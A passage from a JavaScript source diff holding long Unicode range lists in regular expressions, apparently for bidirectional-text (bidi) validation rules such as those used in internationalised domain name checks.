5D\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3001-\u303F\u3041-\u3096\u3099-\u30FF\u3105-\u312F\u3131-\u318E\u3190-\u31E3\u31F0-\u321E\u3220-\uA48C\uA490-\uA4C6\uA4D0-\uA62B\uA640-\uA6F7\uA700-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA82C\uA830-\uA839\uA840-\uA877\uA880-\uA8C5\uA8CE-\uA8D9\uA8E0-\uA953\uA95F-\uA97C\uA980-\uA9CD\uA9CF-\uA9D9\uA9DE-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA5C-\uAAC2\uAADB-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB6B\uAB70-\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uD800-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1E\uFB29\uFD3E-\uFD4F\uFDCF\uFDFD-\uFE19\uFE20-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFEFF\uFF01-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC\uFFE0-\uFFE6\uFFE8-\uFFEE\uFFF9-\uFFFD\u{10000}-\u{1000B}\u{1000D}-\u{10026}\u{10028}-\u{1003A}\u{1003C}\u{1003D}\u{1003F}-\u{1004D}\u{10050}-\u{1005D}\u{10080}-\u{100FA}\u{10100}-\u{10102}\u{10107}-\u{10133}\u{10137}-\u{1018E}\u{10190}-\u{1019C}\u{101A0}\u{101D0}-\u{101FD}\u{10280}-\u{1029C}\u{102A0}-\u{102D0}\u{102E0}-\u{102FB}\u{10300}-\u{10323}\u{1032D}-\u{1034A}\u{10350}-\u{1037A}\u{10380}-\u{1039D}\u{1039F}-\u{103C3}\u{103C8}-\u{103D5}\u{10400}-\u{1049D}\u{104A0}-\u{104A9}\u{104B0}-\u{104D3}\u{104D8}-\u{104FB}\u{10500}-\u{10527}\u{10530}-\u{10563}\u{1056F}-\u{1057A}\u{1057C}-\u{1058A}\u{1058C}-\u{10592}\u{10594}\u{10595}\u{10597}-\u{105A1}\u{105A3}-\u{105B1}\u{105B3}-\u{105B9}\u{105BB}\u{105BC}\u{10600}-\u{10736}\u{10740}-\u{10755}\u{10760}-\u{10767}\u{10780}-\u{10785}\u{10787}-\u{107B0}\u{107B2}-\u{107BA}\u{1091F}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10B39}-\u{10B3F}\u{10D24}-\u{10D27}\u{10EAB}\u{10EAC}\u{10EFD}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11000}-\u{1104D}\u{11052}-\u{11075}\u{1107F}-\u{110C2}\u{110CD}\u{110D0}-\u{110E8}\u{110F0}-\u{110F9}\u{11100}-\u{11134}\u{11136}-\u{11147}\u{11150}-\u{11176}\u{11180}-\u{111DF}\u{111E1}-\u{111F4}\u{11200}-\u{11211}\u{11213}-\u{11241}\u{11280}-\u{11286}\u{11288}\u{1128A}-\u{1128D}\u{1128F}-\u{1129D}\u{1129F}-\u{112A9}\u{112B0}-\u{112EA}\u{112F0}-\u{112F9}\u{11300}-\u{11303}\u{11305}-\u{1130C}\u{1130F}\u{11310}\u{11313}-\u{11328}\u{1132A}-\u{11330}\u{11332}\u{11333}\u{11335}-\u{11339}\u{1133B}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11350}\u{11357}\u{1135D}-\u{11363}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11400}-\u{1145B}\u{1145D}-\u{11461}\u{11480}-\u{114C7}\u{114D0}-\u{114D9}\u{11580}-\u{115B5}\u{115B8}-\u{115DD}\u{11600}-\u{11644}\u{11650}-\u{11659}\u{11660}-\u{1166C}\u{11680}-\u{116B9}\u{116C0}-\u{116C9}\u{11700}-\u{1171A}\u{1171D}-\u{1172B}\u{11730}-\u{11746}\u{11800}-\u{1183B}\u{118A0}-\u{118F2}\u{118FF}-\u{11906}\u{11909}\u{1190C}-\u{11913}\u{11915}\u{11916}\u{11918}-\u{11935}\u{11937}\u{11938}\u{1193B}-\u{11946}\u{11950}-\u{11959}\u{119A0}-\u{119A7}\u{119AA}-\u{119D7}\u{119DA}-\u{119E4}\u{11A00}-\u{11A47}\u{11A50}-\u{11AA2}\u{11AB0}-\u{11AF8}\u{11B00}-\u{11B09}\u{11C00}-\u{11C08}\u{11C0A}-\u{11C36}\u{11C38}-\u{11C45}\u{11C50}-\u{11C6C}\u{11C70}-\u{11C8F}\u{11C92}-\u{11CA7}\u{11CA9}-\u{11CB6}\u{11D00}-\u{11D06}\u{11D08}\u{11D09}\u{11D0B}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D47}\u{11D50}-\u{11D59}\u{11D60}-\u{11D65}\u{11D67}\u{11D68}\u{11D6A}-\u{11D8E}\u{11D90}\u{11D91}\u{11D93}-\u{11D98}\u{11DA0}-\u{11DA9}\u{11EE0}-\u{11EF8}\u{11F00}-\u{11F10}\u{11F12}-\u{11F3A}\u{11F3E}-\u{11F59}\u{11FB0}\u{11FC0}-\u{11FF1}\u{11FFF}-\u{12399}\u{12400}-\u{1246E}\u{12470}-\u{12474}\u{12480}-\u{12543}\u{12F90}-\u{12FF2}\u{13000}-\u{13455}\u{14400}-\u{14646}\u{16800}-\u{16A38}\u{16A40}-\u{16A5E}\u{16A60}-\u{16A69}\u{16A6E}-\u{16ABE}\u{16AC0}-\u{16AC9}\u{16AD0}-\u{16AED}\u{16AF0}-\u{16AF5}\u{16B00}-\u{16B45}\u{16B50}-\u{16B59}\u{16B5B}-\u{16B61}\u{16B63}-\u{16B77}\u{16B7D}-\u{16B8F}\u{16E40}-\u{16E9A}\u{16F00}-\u{16F4A}\u{16F4F}-\u{16F87}\u{16F8F}-\u{16F9F}\u{16FE0}-\u{16FE4}\u{16FF0}\u{16FF1}\u{17000}-\u{187F7}\u{18800}-\u{18CD5}\u{18D00}-\u{18D08}\u{1AFF0}-\u{1AFF3}\u{1AFF5}-\u{1AFFB}\u{1AFFD}\u{1AFFE}\u{1B000}-\u{1B122}\u{1B132}\u{1B150}-\u{1B152}\u{1B155}\u{1B164}-\u{1B167}\u{1B170}-\u{1B2FB}\u{1BC00}-\u{1BC6A}\u{1BC70}-\u{1BC7C}\u{1BC80}-\u{1BC88}\u{1BC90}-\u{1BC99}\u{1BC9C}-\u{1BCA3}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1CF50}-\u{1CFC3}\u{1D000}-\u{1D0F5}\u{1D100}-\u{1D126}\u{1D129}-\u{1D1EA}\u{1D200}-\u{1D245}\u{1D2C0}-\u{1D2D3}\u{1D2E0}-\u{1D2F3}\u{1D300}-\u{1D356}\u{1D360}-\u{1D378}\u{1D400}-\u{1D454}\u{1D456}-\u{1D49C}\u{1D49E}\u{1D49F}\u{1D4A2}\u{1D4A5}\u{1D4A6}\u{1D4A9}-\u{1D4AC}\u{1D4AE}-\u{1D4B9}\u{1D4BB}\u{1D4BD}-\u{1D4C3}\u{1D4C5}-\u{1D505}\u{1D507}-\u{1D50A}\u{1D50D}-\u{1D514}\u{1D516}-\u{1D51C}\u{1D51E}-\u{1D539}\u{1D53B}-\u{1D53E}\u{1D540}-\u{1D544}\u{1D546}\u{1D54A}-\u{1D550}\u{1D552}-\u{1D6A5}\u{1D6A8}-\u{1D7CB}\u{1D7CE}-\u{1DA8B}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1DF00}-\u{1DF1E}\u{1DF25}-\u{1DF2A}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E030}-\u{1E06D}\u{1E08F}\u{1E100}-\u{1E12C}\u{1E130}-\u{1E13D}\u{1E140}-\u{1E149}\u{1E14E}\u{1E14F}\u{1E290}-\u{1E2AE}\u{1E2C0}-\u{1E2F9}\u{1E2FF}\u{1E4D0}-\u{1E4F9}\u{1E7E0}-\u{1E7E6}\u{1E7E8}-\u{1E7EB}\u{1E7ED}\u{1E7EE}\u{1E7F0}-\u{1E7FE}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{1EEF0}\u{1EEF1}\u{1F000}-\u{1F02B}\u{1F030}-\u{1F093}\u{1F0A0}-\u{1F0AE}\u{1F0B1}-\u{1F0BF}\u{1F0C1}-\u{1F0CF}\u{1F0D1}-\u{1F0F5}\u{1F100}-\u{1F1AD}\u{1F1E6}-\u{1F202}\u{1F210}-\u{1F23B}\u{1F240}-\u{1F248}\u{1F250}\u{1F251}\u{1F260}-\u{1F265}\u{1F300}-\u{1F6D7}\u{1F6DC}-\u{1F6EC}\u{1F6F0}-\u{1F6FC}\u{1F700}-\u{1F776}\u{1F77B}-\u{1F7D9}\u{1F7E0}-\u{1F7EB}\u{1F7F0}\u{1F800}-\u{1F80B}\u{1F810}-\u{1F847}\u{1F850}-\u{1F859}\u{1F860}-\u{1F887}\u{1F890}-\u{1F8AD}\u{1F8B0}\u{1F8B1}\u{1F900}-\u{1FA53}\u{1FA60}-\u{1FA6D}\u{1FA70}-\u{1FA7C}\u{1FA80}-\u{1FA88}\u{1FA90}-\u{1FABD}\u{1FABF}-\u{1FAC5}\u{1FACE}-\u{1FADB}\u{1FAE0}-\u{1FAE8}\u{1FAF0}-\u{1FAF8}\u{1FB00}-\u{1FB92}\u{1FB94}-\u{1FBCA}\u{1FBF0}-\u{1FBF9}\u{20000}-\u{2A6DF}\u{2A700}-\u{2B739}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u{2F800}-\u{2FA1D}\u{30000}-\u{3134A}\u{31350}-\u{323AF}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}\u{F0000}-\u{FFFFD}\u{100000}-\u{10FFFD}]*$/u; +const bidiS6 = /[0-9A-Za-z\xAA\xB2\xB3\xB5\xB9\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02B8\u02BB-\u02C1\u02D0\u02D1\u02E0-\u02E4\u02EE\u0370-\u0373\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0482\u048A-\u052F\u0531-\u0556\u0559-\u0589\u06F0-\u06F9\u0903-\u0939\u093B\u093D-\u0940\u0949-\u094C\u094E-\u0950\u0958-\u0961\u0964-\u0980\u0982\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD-\u09C0\u09C7\u09C8\u09CB\u09CC\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E1\u09E6-\u09F1\u09F4-\u09FA\u09FC\u09FD\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3E-\u0A40\u0A59-\u0A5C\u0A5E\u0A66-\u0A6F\u0A72-\u0A74\u0A76\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD-\u0AC0\u0AC9\u0ACB\u0ACC\u0AD0\u0AE0\u0AE1\u0AE6-\u0AF0\u0AF9\u0B02\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B3E\u0B40\u0B47\u0B48\u0B4B\u0B4C\u0B57\u0B5C\u0B5D\u0B5F-\u0B61\u0B66-\u0B77\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE\u0BBF\u0BC1\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCC\u0BD0\u0BD7\u0BE6-\u0BF2\u0C01-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C41-\u0C44\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C66-\u0C6F\u0C77\u0C7F\u0C80\u0C82-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD-\u0CC4\u0CC6-\u0CC8\u0CCA\u0CCB\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0\u0CE1\u0CE6-\u0CEF\u0CF1-\u0CF3\u0D02-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D40\u0D46-\u0D48\u0D4A-\u0D4C\u0D4E\u0D4F\u0D54-\u0D61\u0D66-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCF-\u0DD1\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2-\u0DF4\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E4F-\u0E5B\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00-\u0F17\u0F1A-\u0F34\u0F36\u0F38\u0F3E-\u0F47\u0F49-\u0F6C\u0F7F\u0F85\u0F88-\u0F8C\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE-\u0FDA\u1000-\u102C\u1031\u1038\u103B\u103C\u103F-\u1057\u105A-\u105D\u1061-\u1070\u1075-\u1081\u1083\u1084\u1087-\u108C\u108E-\u109C\u109E-\u10C5\u10C7\u10CD\u10D0-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1360-\u137C\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u167F\u1681-\u169A\u16A0-\u16F8\u1700-\u1711\u1715\u171F-\u1731\u1734-\u1736\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17B6\u17BE-\u17C5\u17C7\u17C8\u17D4-\u17DA\u17DC\u17E0-\u17E9\u1810-\u1819\u1820-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1923-\u1926\u1929-\u192B\u1930\u1931\u1933-\u1938\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A16\u1A19\u1A1A\u1A1E-\u1A55\u1A57\u1A61\u1A63\u1A64\u1A6D-\u1A72\u1A80-\u1A89\u1A90-\u1A99\u1AA0-\u1AAD\u1B04-\u1B33\u1B35\u1B3B\u1B3D-\u1B41\u1B43-\u1B4C\u1B50-\u1B6A\u1B74-\u1B7E\u1B82-\u1BA1\u1BA6\u1BA7\u1BAA\u1BAE-\u1BE5\u1BE7\u1BEA-\u1BEC\u1BEE\u1BF2\u1BF3\u1BFC-\u1C2B\u1C34\u1C35\u1C3B-\u1C49\u1C4D-\u1C88\u1C90-\u1CBA\u1CBD-\u1CC7\u1CD3\u1CE1\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5-\u1CF7\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200E\u2070\u2071\u2074-\u2079\u207F-\u2089\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u214F\u2160-\u2188\u2336-\u237A\u2395\u2488-\u24E9\u26AC\u2800-\u28FF\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D70\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u302E\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u3190-\u31BF\u31F0-\u321C\u3220-\u324F\u3260-\u327B\u327F-\u32B0\u32C0-\u32CB\u32D0-\u3376\u337B-\u33DD\u33E0-\u33FE\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA60C\uA610-\uA62B\uA640-\uA66E\uA680-\uA69D\uA6A0-\uA6EF\uA6F2-\uA6F7\uA722-\uA787\uA789-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA824\uA827\uA830-\uA837\uA840-\uA873\uA880-\uA8C3\uA8CE-\uA8D9\uA8F2-\uA8FE\uA900-\uA925\uA92E-\uA946\uA952\uA953\uA95F-\uA97C\uA983-\uA9B2\uA9B4\uA9B5\uA9BA\uA9BB\uA9BE-\uA9CD\uA9CF-\uA9D9\uA9DE-\uA9E4\uA9E6-\uA9FE\uAA00-\uAA28\uAA2F\uAA30\uAA33\uAA34\uAA40-\uAA42\uAA44-\uAA4B\uAA4D\uAA50-\uAA59\uAA5C-\uAA7B\uAA7D-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAAEB\uAAEE-\uAAF5\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB69\uAB70-\uABE4\uABE6\uABE7\uABE9-\uABEC\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uD800-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFF10-\uFF19\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC\u{10000}-\u{1000B}\u{1000D}-\u{10026}\u{10028}-\u{1003A}\u{1003C}\u{1003D}\u{1003F}-\u{1004D}\u{10050}-\u{1005D}\u{10080}-\u{100FA}\u{10100}\u{10102}\u{10107}-\u{10133}\u{10137}-\u{1013F}\u{1018D}\u{1018E}\u{101D0}-\u{101FC}\u{10280}-\u{1029C}\u{102A0}-\u{102D0}\u{102E1}-\u{102FB}\u{10300}-\u{10323}\u{1032D}-\u{1034A}\u{10350}-\u{10375}\u{10380}-\u{1039D}\u{1039F}-\u{103C3}\u{103C8}-\u{103D5}\u{10400}-\u{1049D}\u{104A0}-\u{104A9}\u{104B0}-\u{104D3}\u{104D8}-\u{104FB}\u{10500}-\u{10527}\u{10530}-\u{10563}\u{1056F}-\u{1057A}\u{1057C}-\u{1058A}\u{1058C}-\u{10592}\u{10594}\u{10595}\u{10597}-\u{105A1}\u{105A3}-\u{105B1}\u{105B3}-\u{105B9}\u{105BB}\u{105BC}\u{10600}-\u{10736}\u{10740}-\u{10755}\u{10760}-\u{10767}\u{10780}-\u{10785}\u{10787}-\u{107B0}\u{107B2}-\u{107BA}\u{11000}\u{11002}-\u{11037}\u{11047}-\u{1104D}\u{11066}-\u{1106F}\u{11071}\u{11072}\u{11075}\u{11082}-\u{110B2}\u{110B7}\u{110B8}\u{110BB}-\u{110C1}\u{110CD}\u{110D0}-\u{110E8}\u{110F0}-\u{110F9}\u{11103}-\u{11126}\u{1112C}\u{11136}-\u{11147}\u{11150}-\u{11172}\u{11174}-\u{11176}\u{11182}-\u{111B5}\u{111BF}-\u{111C8}\u{111CD}\u{111CE}\u{111D0}-\u{111DF}\u{111E1}-\u{111F4}\u{11200}-\u{11211}\u{11213}-\u{1122E}\u{11232}\u{11233}\u{11235}\u{11238}-\u{1123D}\u{1123F}\u{11240}\u{11280}-\u{11286}\u{11288}\u{1128A}-\u{1128D}\u{1128F}-\u{1129D}\u{1129F}-\u{112A9}\u{112B0}-\u{112DE}\u{112E0}-\u{112E2}\u{112F0}-\u{112F9}\u{11302}\u{11303}\u{11305}-\u{1130C}\u{1130F}\u{11310}\u{11313}-\u{11328}\u{1132A}-\u{11330}\u{11332}\u{11333}\u{11335}-\u{11339}\u{1133D}-\u{1133F}\u{11341}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11350}\u{11357}\u{1135D}-\u{11363}\u{11400}-\u{11437}\u{11440}\u{11441}\u{11445}\u{11447}-\u{1145B}\u{1145D}\u{1145F}-\u{11461}\u{11480}-\u{114B2}\u{114B9}\u{114BB}-\u{114BE}\u{114C1}\u{114C4}-\u{114C7}\u{114D0}-\u{114D9}\u{11580}-\u{115B1}\u{115B8}-\u{115BB}\u{115BE}\u{115C1}-\u{115DB}\u{11600}-\u{11632}\u{1163B}\u{1163C}\u{1163E}\u{11641}-\u{11644}\u{11650}-\u{11659}\u{11680}-\u{116AA}\u{116AC}\u{116AE}\u{116AF}\u{116B6}\u{116B8}\u{116B9}\u{116C0}-\u{116C9}\u{11700}-\u{1171A}\u{11720}\u{11721}\u{11726}\u{11730}-\u{11746}\u{11800}-\u{1182E}\u{11838}\u{1183B}\u{118A0}-\u{118F2}\u{118FF}-\u{11906}\u{11909}\u{1190C}-\u{11913}\u{11915}\u{11916}\u{11918}-\u{11935}\u{11937}\u{11938}\u{1193D}\u{1193F}-\u{11942}\u{11944}-\u{11946}\u{11950}-\u{11959}\u{119A0}-\u{119A7}\u{119AA}-\u{119D3}\u{119DC}-\u{119DF}\u{119E1}-\u{119E4}\u{11A00}\u{11A07}\u{11A08}\u{11A0B}-\u{11A32}\u{11A39}\u{11A3A}\u{11A3F}-\u{11A46}\u{11A50}\u{11A57}\u{11A58}\u{11A5C}-\u{11A89}\u{11A97}\u{11A9A}-\u{11AA2}\u{11AB0}-\u{11AF8}\u{11B00}-\u{11B09}\u{11C00}-\u{11C08}\u{11C0A}-\u{11C2F}\u{11C3E}-\u{11C45}\u{11C50}-\u{11C6C}\u{11C70}-\u{11C8F}\u{11CA9}\u{11CB1}\u{11CB4}\u{11D00}-\u{11D06}\u{11D08}\u{11D09}\u{11D0B}-\u{11D30}\u{11D46}\u{11D50}-\u{11D59}\u{11D60}-\u{11D65}\u{11D67}\u{11D68}\u{11D6A}-\u{11D8E}\u{11D93}\u{11D94}\u{11D96}\u{11D98}\u{11DA0}-\u{11DA9}\u{11EE0}-\u{11EF2}\u{11EF5}-\u{11EF8}\u{11F02}-\u{11F10}\u{11F12}-\u{11F35}\u{11F3E}\u{11F3F}\u{11F41}\u{11F43}-\u{11F59}\u{11FB0}\u{11FC0}-\u{11FD4}\u{11FFF}-\u{12399}\u{12400}-\u{1246E}\u{12470}-\u{12474}\u{12480}-\u{12543}\u{12F90}-\u{12FF2}\u{13000}-\u{1343F}\u{13441}-\u{13446}\u{14400}-\u{14646}\u{16800}-\u{16A38}\u{16A40}-\u{16A5E}\u{16A60}-\u{16A69}\u{16A6E}-\u{16ABE}\u{16AC0}-\u{16AC9}\u{16AD0}-\u{16AED}\u{16AF5}\u{16B00}-\u{16B2F}\u{16B37}-\u{16B45}\u{16B50}-\u{16B59}\u{16B5B}-\u{16B61}\u{16B63}-\u{16B77}\u{16B7D}-\u{16B8F}\u{16E40}-\u{16E9A}\u{16F00}-\u{16F4A}\u{16F50}-\u{16F87}\u{16F93}-\u{16F9F}\u{16FE0}\u{16FE1}\u{16FE3}\u{16FF0}\u{16FF1}\u{17000}-\u{187F7}\u{18800}-\u{18CD5}\u{18D00}-\u{18D08}\u{1AFF0}-\u{1AFF3}\u{1AFF5}-\u{1AFFB}\u{1AFFD}\u{1AFFE}\u{1B000}-\u{1B122}\u{1B132}\u{1B150}-\u{1B152}\u{1B155}\u{1B164}-\u{1B167}\u{1B170}-\u{1B2FB}\u{1BC00}-\u{1BC6A}\u{1BC70}-\u{1BC7C}\u{1BC80}-\u{1BC88}\u{1BC90}-\u{1BC99}\u{1BC9C}\u{1BC9F}\u{1CF50}-\u{1CFC3}\u{1D000}-\u{1D0F5}\u{1D100}-\u{1D126}\u{1D129}-\u{1D166}\u{1D16A}-\u{1D172}\u{1D183}\u{1D184}\u{1D18C}-\u{1D1A9}\u{1D1AE}-\u{1D1E8}\u{1D2C0}-\u{1D2D3}\u{1D2E0}-\u{1D2F3}\u{1D360}-\u{1D378}\u{1D400}-\u{1D454}\u{1D456}-\u{1D49C}\u{1D49E}\u{1D49F}\u{1D4A2}\u{1D4A5}\u{1D4A6}\u{1D4A9}-\u{1D4AC}\u{1D4AE}-\u{1D4B9}\u{1D4BB}\u{1D4BD}-\u{1D4C3}\u{1D4C5}-\u{1D505}\u{1D507}-\u{1D50A}\u{1D50D}-\u{1D514}\u{1D516}-\u{1D51C}\u{1D51E}-\u{1D539}\u{1D53B}-\u{1D53E}\u{1D540}-\u{1D544}\u{1D546}\u{1D54A}-\u{1D550}\u{1D552}-\u{1D6A5}\u{1D6A8}-\u{1D6DA}\u{1D6DC}-\u{1D714}\u{1D716}-\u{1D74E}\u{1D750}-\u{1D788}\u{1D78A}-\u{1D7C2}\u{1D7C4}-\u{1D7CB}\u{1D7CE}-\u{1D9FF}\u{1DA37}-\u{1DA3A}\u{1DA6D}-\u{1DA74}\u{1DA76}-\u{1DA83}\u{1DA85}-\u{1DA8B}\u{1DF00}-\u{1DF1E}\u{1DF25}-\u{1DF2A}\u{1E030}-\u{1E06D}\u{1E100}-\u{1E12C}\u{1E137}-\u{1E13D}\u{1E140}-\u{1E149}\u{1E14E}\u{1E14F}\u{1E290}-\u{1E2AD}\u{1E2C0}-\u{1E2EB}\u{1E2F0}-\u{1E2F9}\u{1E4D0}-\u{1E4EB}\u{1E4F0}-\u{1E4F9}\u{1E7E0}-\u{1E7E6}\u{1E7E8}-\u{1E7EB}\u{1E7ED}\u{1E7EE}\u{1E7F0}-\u{1E7FE}\u{1F100}-\u{1F10A}\u{1F110}-\u{1F12E}\u{1F130}-\u{1F169}\u{1F170}-\u{1F1AC}\u{1F1E6}-\u{1F202}\u{1F210}-\u{1F23B}\u{1F240}-\u{1F248}\u{1F250}\u{1F251}\u{1FBF0}-\u{1FBF9}\u{20000}-\u{2A6DF}\u{2A700}-\u{2B739}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u{2F800}-\u{2FA1D}\u{30000}-\u{3134A}\u{31350}-\u{323AF}\u{F0000}-\u{FFFFD}\u{100000}-\u{10FFFD}][\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u